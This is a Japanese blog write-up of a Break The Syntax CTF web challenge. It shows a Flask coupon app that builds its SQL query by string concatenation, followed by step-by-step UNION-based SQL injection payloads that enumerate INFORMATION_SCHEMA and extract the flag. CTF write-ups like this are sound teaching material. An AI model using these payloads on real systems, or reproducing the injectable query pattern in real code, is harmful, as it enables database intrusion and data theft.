はまやんはまやんはまやん

hamayanhamayan's blog

Cheated lottery [Break The Syntax CTF]

クーポンサイトが与えられる。 情報が少ないが、<!-- TODO remove it /?source=1 -->ソースコードにある。

from flask import Flask, render_template, request
from dotenv import load_dotenv
import mysql.connector
import os

load_dotenv()

def get_coupons(form):
    coupons = list()
    mydb = mysql.connector.connect(
        host=os.getenv('mysql_host'),
        user=os.getenv('mysql_user'),
        password=os.getenv('mysql_pwd'),
        database=os.getenv('mysql_db')
    )
    mycursor = mydb.cursor()
    try:
        mycursor.execute("SELECT * FROM coupons WHERE code = '" + str(form['cid']) + "'")
    except:
        pass
    myresult = mycursor.fetchall()
    for x in myresult:
        coupons.append({
            'code': x[1],
            'value': x[2]
        })
    mycursor.close()
    return coupons

app = Flask(__name__)

@app.route('/', methods=['POST', 'GET'])
def index(source=None):
    if request.method == "POST":
        coupons = get_coupons(request.form)
        if coupons == []:
            return render_template('list.html', error="Sorry, you didn't win")
        else:
            return render_template('list.html', coupons=coupons)
    else:
        if request.args.get('source') == '1':
            with open(__file__, 'r') as r:
                return r.read().strip()
        else: 
            return render_template('base.html')

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=7331)

' or 1 = 1 #を試すと普通にSQLiができる。

' UNION SELECT 1,TABLE_NAME,3 from INFORMATION_SCHEMA.COLUMNS # c2VjcmV0LWRiという怪しいテーブルが見つかる。

' UNION SELECT 1,COLUMN_NAME,2 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = 'c2VjcmV0LWRi' # ZGVmaW5pdGVseS1ub3QtZmxhZwというカラムが見つかる。

' UNION SELECT 1,ZGVmaW5pdGVseS1ub3QtZmxhZw,3 FROM c2VjcmV0LWRi # ok.出ました BtS-CTF{7h475_h0w_y0u_ch347_1n_94m35}